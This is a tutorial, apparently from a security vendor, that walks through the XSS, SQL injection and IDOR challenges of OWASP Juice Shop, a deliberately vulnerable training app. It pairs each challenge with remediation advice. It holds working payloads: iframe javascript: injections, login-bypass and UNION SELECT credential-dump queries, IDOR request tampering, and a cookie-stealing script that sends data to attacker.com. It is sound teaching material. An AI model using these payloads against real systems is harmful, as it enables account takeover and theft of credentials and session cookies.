OWASP Juice Shop packs three of the most important web vulnerability classes into one application: Cross-Site Scripting (XSS), SQL Injection, and Insecure Direct Object Reference (IDOR). These three categories appear in every OWASP Top 10 release and represent a significant percentage of real-world web application vulnerabilities found in production security assessments.
This guide covers every Juice Shop XSS, SQL injection, and IDOR challenge — with exact payloads, step-by-step exploitation, and explanations of what each vulnerability teaches about real-world application security.
Start Juice Shop with one Docker command:
docker run --rm -p 3000:3000 bkimminich/juice-shop
Then open http://localhost:3000 and navigate to /#/score-board to track your progress.
Juice Shop XSS Challenges
Juice Shop includes all three XSS types — reflected, stored, and DOM-based — in different contexts that mirror real-world vulnerability patterns. Understanding all three is essential because each type has different attack scenarios, detection methods, and remediation approaches.
What Is XSS and Why It Matters
Cross-Site Scripting (XSS) occurs when an application includes untrusted data in a web page without proper encoding. An attacker’s JavaScript executes in the victim’s browser in the context of the vulnerable application — allowing session token theft, credential harvesting, UI redressing, and malicious actions performed as the victim.
XSS maps to CWE-79 (Improper Neutralization of Input During Web Page Generation) and appears in OWASP A03:2021 — Injection.
Challenge: DOM XSS (⭐ — 1 Star)
Objective: Perform a DOM-based XSS attack with <iframe src="javascript:alert('xss')">.
Steps:
- Go to the Juice Shop home page at
http://localhost:3000 - In the search bar, type:
<iframe src="javascript:alert('xss')"> - Press Enter
What happens: Juice Shop’s Angular frontend takes the search query and writes it into the DOM using an unsafe binding. The <iframe> element is inserted into the page and the javascript: pseudo-protocol executes, triggering an alert popup.
Why javascript: in an iframe src? The javascript: URI scheme in src and href attributes is a classic DOM XSS vector that often bypasses naive content filters that only block <script> tags. The payload doesn’t require a closing </script> tag and works in many contexts where script tag injection is blocked.
The underlying vulnerability: The Angular search component passes the q URL parameter to an inner HTML binding without using Angular’s built-in sanitization. In production applications, DOM XSS commonly appears when developers use innerHTML, document.write(), or Angular’s [innerHTML] binding with user-controlled data.
Real-world equivalent: Single-page applications that render URL fragments into the DOM are frequently vulnerable to DOM XSS. This is particularly common in Angular, React, and Vue apps that parse URL parameters on the client side.
Challenge: Bonus Payload (⭐ — 1 Star)
Objective: Use the Juice Shop-specific iframe payload: <iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>
Steps:
- Paste the full payload into the search box
- The SoundCloud embed loads in the product listing area
What it teaches: XSS doesn’t require alert() — real-world XSS exploits embed external content, load keyloggers, redirect to phishing pages, or silently exfiltrate data via fetch() or navigator.sendBeacon(). The alert() payload is just the proof-of-concept; the impact depends on what the attacker’s script actually does.
Challenge: Reflected XSS (⭐⭐ — 2 Stars)
Objective: Perform a reflected XSS attack.
Steps:
- Log in with any account (use SQL injection to bypass login:
' OR '1'='1'--in the email field) - Navigate to the order tracking page:
http://localhost:3000/#/track-result - Append a malicious parameter:
http://localhost:3000/#/track-result?id=<iframe src="javascript:alert('xss')"> - The
idparameter is reflected in the page without encoding, executing the script
What makes this reflected (not stored)? The payload is in the URL and fires only when that URL is visited. No data is saved to the database. A reflected XSS attack typically requires the attacker to trick the victim into clicking a malicious URL — making it effective in phishing campaigns but requiring active delivery, unlike stored XSS.
Detection difference: Reflected XSS is easier for DAST scanners to find because the payload is echoed back in the immediate response. Stored XSS and DOM XSS require the scanner to observe delayed rendering or client-side DOM manipulation.
Challenge: API-Only XSS (⭐⭐⭐ — 3 Stars)
Objective: Perform a persisted XSS attack with <iframe src="javascript:alert('xss')"> bypassing a client-side security mechanism.
Steps:
- The Juice Shop admin panel displays a “Last Login IP” field
- The application has client-side XSS filtering — form submissions from the browser are sanitized
- Bypass the filter by submitting the payload directly through the API (not the UI):
# Log in to get a JWT token
curl -X POST http://localhost:3000/api/Users/login \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"admin123"}'
- Set the Last Login IP header directly (the value is captured from the
X-Forwarded-Forheader):
curl -s -X GET http://localhost:3000/rest/saveLoginIp \
-H "Authorization: Bearer YOUR_JWT_TOKEN" \
-H "X-Forwarded-For: <iframe src=\"javascript:alert('xss')\">"
- When an admin views the admin panel, the stored XSS payload fires in their browser.
What it teaches: Client-side input validation is not a security control. Any request to the API can bypass browser-enforced validation entirely using curl, Burp Suite, or any HTTP client. All validation must happen server-side. The X-Forwarded-For header is a particularly dangerous source of injection because developers often forget it’s user-controlled.
Challenge: Stored XSS via Product Review (⭐⭐⭐ — 3 Stars)
Objective: Perform a persisted XSS attack with <iframe src="javascript:alert('xss')"> on the product review functionality.
Steps:
- Log in as any user
- Navigate to any product page (click a product in the product listing)
- Submit a review containing:
<iframe src="javascript:alert('xss')"> - Navigate away and return to the product page
- When the review is rendered, the
<iframe>executes in any browser that views it
What it teaches: Stored XSS is the most dangerous XSS type — the payload persists in the database and fires automatically for every user who views the page, with no interaction required from the attacker after the initial submission. User-generated content platforms (review systems, comment sections, forums, ticket systems, CRM notes) are the most common location for stored XSS in production applications.
Real-world impact: A stored XSS payload in a product review could silently steal session tokens from all customers who view that product: <script>fetch('https://attacker.com/?c='+document.cookie)</script>.
Juice Shop XSS Remediation Patterns
Each Juice Shop XSS challenge demonstrates a different context where encoding fails. The fix in every case is context-appropriate output encoding:
| XSS Context | Vulnerable Pattern | Correct Fix |
|---|---|---|
| HTML body | innerHTML = userInput | textContent = userInput |
| HTML attribute | element.setAttribute('href', userInput) | Validate URL scheme; use textContent |
| JavaScript string | "var x = '" + userInput + "'" | JSON.stringify(userInput) |
| Angular template | [innerHTML]="userInput" | {{ userInput }} (auto-encoded) |
| React JSX | dangerouslySetInnerHTML | {userInput} (auto-encoded) |
In Angular specifically: {{ expression }} is safe (auto-encoded); [innerHTML]="expression" requires DomSanitizer.bypassSecurityTrustHtml() only for trusted content.
Juice Shop SQL Injection Challenges
SQL injection in Juice Shop spans multiple entry points and techniques — from the classic login bypass to blind injection in the search endpoint. These challenges cover the vulnerability patterns found most frequently in real enterprise application assessments.
What SQL Injection Is and Why It Persists
SQL injection occurs when user-supplied input is incorporated into a SQL query without parameterization, allowing attackers to modify the query’s logic. Despite being a well-understood vulnerability for over 25 years, SQL injection remains one of the top findings in enterprise security assessments — particularly in legacy codebases using string-concatenated queries.
SQL injection maps to CWE-89 and is included in OWASP A03:2021 — Injection.
Challenge: Login Admin via SQL Injection (⭐⭐ — 2 Stars)
Objective: Log in with the administrator’s account without knowing the password.
Steps:
- Navigate to
http://localhost:3000/#/login - In the Email field, enter:
' OR '1'='1'-- - In the Password field, enter anything
- Click Log In
What happens: Juice Shop constructs a login query using string concatenation:
-- The intended query:
SELECT * FROM Users WHERE email = '[email protected]' AND password = 'hash'
-- With the injection payload:
SELECT * FROM Users WHERE email = '' OR '1'='1'--' AND password = 'anything'
The '1'='1' condition is always true, so the WHERE clause returns all rows. The -- comment terminates the rest of the query, bypassing the password check entirely. SQLite (Juice Shop’s default database) returns the first user row — the admin account.
Variations to try:
-- Standard bypass
' OR '1'='1'--
-- Login as a specific user if you know their email
[email protected]'--
-- Using # as comment (MySQL)
' OR '1'='1'#
-- Without using OR
') OR ('1'='1
The underlying issue: Juice Shop’s login SQL is built with string concatenation rather than parameterized queries:
// Vulnerable (simplified):
const query = `SELECT * FROM Users WHERE email = '${email}' AND password = '${password}'`;
// Fixed — parameterized:
db.query('SELECT * FROM Users WHERE email = ? AND password = ?', [email, password]);
Challenge: Login Jim (⭐⭐⭐ — 3 Stars)
Objective: Log in with Jim’s user account.
Steps:
-
Find Jim’s email: Jim has posted product reviews. Check the product reviews section — his email
[email protected]appears in review attribution. Alternatively, query the API:GET /api/Users(may require authentication). -
Log in with SQL injection targeting Jim’s account:
- Email:
[email protected]'-- - Password: anything
- Email:
What it teaches: SQL injection is not limited to bypassing all authentication — it can target specific accounts. If an attacker knows a victim’s email, SQL injection can be used for account takeover without knowing the password. This is the pattern used in targeted attacks against high-value accounts.
Challenge: Login Bender (⭐⭐⭐ — 3 Stars)
Objective: Log in with Bender’s account.
Steps:
- Find Bender’s email — like Jim, Bender has left product reviews. His email is
[email protected]. - Login with:
- Email:
[email protected]'-- - Password: anything
- Email:
These “targeted login” challenges reinforce that SQL injection for authentication bypass works for any account, not just the first result in the database.
Challenge: Database Schema (⭐⭐⭐ — 3 Stars)
Objective: Exfiltrate the entire DB schema definition using the search functionality.
Steps:
-
The product search endpoint is injectable:
GET /rest/products/search?q= -
Test for injection:
http://localhost:3000/rest/products/search?q='— you should see an error -
Determine the number of columns in the result set using
ORDER BY:http://localhost:3000/rest/products/search?q=test' ORDER BY 1--(works)- Increment until it fails to find the column count
-
Use UNION-based injection to extract schema information:
-- SQLite schema extraction
http://localhost:3000/rest/products/search?q=')) UNION SELECT sql,2,3,4,5,6,7,8,9 FROM sqlite_master--
What it teaches: UNION-based SQL injection for data exfiltration. Beyond authentication bypass, SQL injection can extract arbitrary database contents — table names, column definitions, user credentials, payment information, and any other data stored in the database. This is why CWE-89 is consistently rated Critical severity.
Challenge: User Credentials (⭐⭐⭐⭐ — 4 Stars)
Objective: Retrieve a list of all user credentials via SQL injection in the product search.
Steps: Using the UNION injection from the database schema challenge:
-- Extract user email and password hashes
http://localhost:3000/rest/products/search?q=')) UNION SELECT id,email,password,4,5,6,7,8,9 FROM Users--
The response includes all user emails and their password hashes (MD5 in Juice Shop — intentionally weak).
What it teaches: Complete credential exfiltration through SQL injection. In real-world SQL injection vulnerabilities, this is the ultimate payload — retrieving all user credentials from the application’s database. Combined with offline password cracking against weak hash functions (MD5, SHA1, unsalted SHA256), credential exfiltration leads directly to account takeover.
Juice Shop SQL Injection: Why It’s Still Common
Despite being a 25-year-old vulnerability class, SQL injection persists in production codebases for predictable reasons:
-
Legacy code: SQL injection is most common in applications written before ORM frameworks became standard. String-concatenated queries are the original pattern.
-
Raw SQL in ORMs: Modern ORMs prevent SQL injection by default, but every major ORM provides a raw SQL escape hatch (
FromSqlRaw(),NativeQuery,db.execute()). Developers who “need performance” use these without parameterizing. -
Stored procedures with dynamic SQL: SQL Server stored procedures that use
EXEC(@sql)orsp_executesqlwith unparameterized strings are injection-vulnerable. -
Second-order injection: The most dangerous pattern — user input is stored safely but later retrieved and used in a new unparameterized query. See our second-order SQL injection guide for full coverage.
The fix is always parameterized queries:
-- Vulnerable (any language):
"SELECT * FROM users WHERE email = '" + email + "'"
-- Fixed (prepared statement):
"SELECT * FROM users WHERE email = ?" -- with email passed as parameter
Juice Shop IDOR Challenges
IDOR (Insecure Direct Object Reference) occurs when an application exposes internal object identifiers — database row IDs, file names, user IDs — and allows users to access other objects by modifying those identifiers without server-side authorization checks.
IDOR maps to CWE-639 (Authorization Bypass Through User-Controlled Key) and is the top-ranked vulnerability in OWASP API Security Top 10 2023 (API1: Broken Object Level Authorization / BOLA).
Challenge: View Another User’s Basket (⭐⭐ — 2 Stars)
Objective: View another user’s shopping basket.
Steps:
- Log in with any account
- Add any item to your basket
- Open DevTools → Application → Local Storage
- Find the
bidkey — this is your basket ID (e.g.,5) - Change the value to
1,2,3, etc. - Navigate to
http://localhost:3000/#/basket - The basket page loads the basket matching the
bidfrom local storage — you’re now viewing another user’s basket
What happens under the hood: When you load the basket page, the application sends GET /api/BasketItems/?BasketId=1 using the bid from local storage. The server returns the basket contents without verifying that basket ID 1 belongs to your account. This is the IDOR vulnerability.
Why this matters: In real applications, basket IDs, order IDs, account numbers, and invoice IDs are all potential IDOR targets. Any time an application accepts a user-supplied ID and retrieves a database record without checking ownership, IDOR is likely present. APIs are particularly vulnerable because the object ID is explicit in the endpoint URL or request body.
Challenge: Manipulate Basket (⭐⭐⭐ — 3 Stars)
Objective: Put an arbitrary item into another user’s shopping basket.
Steps:
- Log in and add an item to your own basket normally
- Intercept the API request to add an item. In DevTools → Network, find the request:
POST /api/BasketItems/ - The request body looks like:
{
"ProductId": 1,
"BasketId": "6",
"quantity": 1
}
- Change
BasketIdto another user’s basket ID (try1,2,3) - The item is added to the specified basket — even though it belongs to another user
What it teaches: IDOR is not limited to read access. Write-access IDOR allows attackers to modify other users’ data, add items to their accounts, or trigger actions on their behalf. The API accepts the BasketId from the request body and inserts the item without verifying that the authenticated user owns that basket.
Challenge: Forged Feedback (⭐⭐⭐ — 3 Stars)
Objective: Post feedback in another user’s name.
Steps:
- Log in as any user
- Submit feedback through the contact form
- Intercept the API call in DevTools → Network:
POST /api/Feedbacks/ - The request body includes:
{
"UserId": 6,
"comment": "Great shop!",
"rating": 4,
"captchaId": 0,
"captcha": "-1"
}
- Change
UserIdto1(the admin’s user ID) - The feedback is posted as if the admin submitted it
What it teaches: Mass assignment via IDOR. The server accepts the UserId from the request body and uses it directly instead of reading the authenticated user’s ID from the session/JWT. Any user can post as any other user by supplying a different UserId.
The fix: Never accept user-supplied identity attributes in request bodies. The authenticated user’s ID should always come from the verified session token, not from request parameters.
Challenge: View Another User’s Profile (⭐⭐⭐ — 3 Stars)
Objective: Access the profile data of a user other than yourself.
Steps:
- Log in with any user account
- Navigate to your own profile at
http://localhost:3000/#/profile - Note the API call in DevTools:
GET /api/Users/6(where 6 is your user ID) - Modify the ID in the URL:
GET /api/Users/1returns the admin’s profile data - The server returns full profile data including email, role, and other sensitive fields
Real-world equivalent: REST API endpoints like /api/users/{id}, /api/accounts/{id}, /api/orders/{id} are IDOR-vulnerable whenever the server doesn’t verify that the authenticated user has authorization to access the specified ID. This is the most common finding in REST API penetration testing assessments.
Challenge: Admin Section Access via JWT Manipulation (⭐⭐⭐⭐ — 4 Stars)
Objective: Access the administration panel.
Steps:
- Log in as any user and capture your JWT from DevTools → Application → Local Storage →
token - Decode the JWT’s payload (the middle base64url segment):
// In browser console:
JSON.parse(atob('eyJkYXRhIjp7InJvbGUiOiJjdXN0b21lciJ9fQ=='))
// Returns: { data: { role: "customer" } }
- The JWT payload contains a
rolefield. To access the admin section, you need"role": "admin" - To forge this: Use the JWT algorithm confusion technique (change
alg: RS256toalg: none) — see the full walkthrough in our Juice Shop challenge solutions guide - With a forged admin JWT, navigate to
http://localhost:3000/#/administration
What it teaches: IDOR at the role/permission level. The application stores the user’s role in the JWT payload and trusts it without sufficient verification. This is the JWT variant of IDOR — instead of a row ID, the attacker manipulates a role attribute that determines access.
Why These Three Vulnerabilities Cluster Together
XSS, SQL injection, and IDOR frequently appear together in production codebases because they share a root cause: insufficient trust boundary enforcement. The application fails to consistently apply the principle that user-supplied data is untrusted — whether it’s data being written to a page (XSS), inserted into a query (SQLi), or used to identify an object (IDOR).
In real security assessments, finding one of these vulnerability classes in an application strongly predicts finding the others. An application that doesn’t parameterize SQL queries often also lacks output encoding (XSS) and authorization checks (IDOR) — because all three reflect the same underlying development culture around input handling.
Using These Challenges to Benchmark Security Tools
Juice Shop XSS, SQL injection, and IDOR challenges serve as effective benchmarks for security testing tools:
DAST scanner benchmark: A production-ready DAST scanner must automatically find:
- SQL injection in the login form and search endpoint (Challenges: Login Admin, Database Schema)
- Reflected XSS in the order tracking URL parameter
- Stored XSS in product reviews
SAST scanner benchmark: A production-ready SAST scanner must identify:
- String-concatenated SQL queries (the code behind Login Admin SQLi)
- Unsafe
innerHTMLor Angular[innerHTML]bindings (DOM XSS) - Missing authorization checks on object ID parameters (IDOR)
What scanners typically miss:
- DOM XSS that only fires after client-side rendering (many DAST tools miss this without JavaScript execution)
- Second-order SQL injection where the payload is stored then fired later
- Business logic IDOR where the authorization check is present but insufficient
Offensive360 DAST benchmarks against Juice Shop on every release — verifying that these vulnerability classes are consistently detected. If your DAST scanner cannot find the unobfuscated SQL injection in Juice Shop’s login form, it will miss similar patterns in your production application:
- Book a demo — results in minutes
- Book a demo — see live scanning against Juice Shop or your own application
Frequently Asked Questions
Does Juice Shop have XSS protection?
Juice Shop intentionally disables or bypasses XSS protection in specific locations to create exploitable challenges. In a production application, Angular’s template engine provides automatic HTML encoding by default — the XSS vulnerabilities in Juice Shop are deliberately created by using unsafe bindings (innerHTML) or by processing user input server-side without encoding. The default Angular {{ expression }} syntax encodes output automatically.
Why do Juice Shop SQL injection payloads use -- comments?
The -- is the SQL comment syntax for SQLite and most SQL databases. Everything after -- on a line is ignored by the SQL parser. In the login bypass payload ' OR '1'='1'--, the -- causes the password hash check (which comes after the email condition) to be commented out. MySQL also accepts # as a comment character. Microsoft SQL Server uses -- or /* */.
Can automated scanners solve Juice Shop IDOR challenges?
Standard DAST scanners can detect some IDOR vulnerabilities by systematically incrementing or modifying object IDs in API calls and checking for unauthorized access. However, detecting IDOR requires the scanner to understand the difference between “my resource” and “someone else’s resource” — which requires authentication context and session awareness. Scanners that test APIs without authentication will miss most IDOR findings.
What is the difference between IDOR and broken access control?
IDOR is a subset of broken access control (OWASP A01:2021). Broken access control covers all forms of authorization failure — including IDOR (accessing other users’ objects), privilege escalation (accessing admin functions), and path traversal (accessing unauthorized files). IDOR specifically refers to authorization failures at the individual object level, typically by manipulating an identifier in an API call. In the OWASP API Security Top 10, this is listed as BOLA (Broken Object Level Authorization), equivalent to IDOR.
How do I find IDOR vulnerabilities in real applications?
When testing a real web application for IDOR:
- Create two user accounts and log in separately in two browsers
- In Account A’s browser, find any URL or API call that references an object ID (order ID, basket ID, profile ID)
- Copy that API call and replay it in Account B’s browser (or with no authentication)
- If Account B can read Account A’s data — that’s IDOR
- Try modifying the ID to other sequential values to see what other data is accessible
Look specifically at REST API endpoints with patterns like /api/users/{id}, /api/orders/{id}, /api/invoices/{id} — these are the most common IDOR locations.
Summary
| Vulnerability | Juice Shop Challenge | CWE | Real-World Prevalence |
|---|---|---|---|
| DOM XSS | DOM XSS (search bar) | CWE-79 | High — SPAs with URL parameter rendering |
| Reflected XSS | Reflected XSS (order tracking) | CWE-79 | High — any endpoint reflecting URL params |
| Stored XSS | Stored XSS (product reviews) | CWE-79 | High — user-generated content platforms |
| SQL injection (login bypass) | Login Admin | CWE-89 | High — legacy PHP/ASP.NET applications |
| SQL injection (data exfiltration) | User Credentials | CWE-89 | High — same codebases |
| IDOR (read) | View Basket | CWE-639 | Very high — most REST APIs |
| IDOR (write) | Manipulate Basket | CWE-639 | High — APIs accepting object IDs in request bodies |
| JWT role manipulation | Admin Section | CWE-287 | Medium — APIs with insecure JWT implementations |
Mastering XSS, SQL injection, and IDOR in Juice Shop builds the pattern recognition that transfers directly to real-world penetration testing and secure code review. Each challenge type maps precisely to a vulnerability pattern found regularly in enterprise production applications.
Offensive360 SAST detects SQL injection (including second-order), XSS in multiple rendering contexts, and IDOR patterns (missing authorization checks on object IDs) across 60+ languages. Book a demo — see what your codebase actually contains.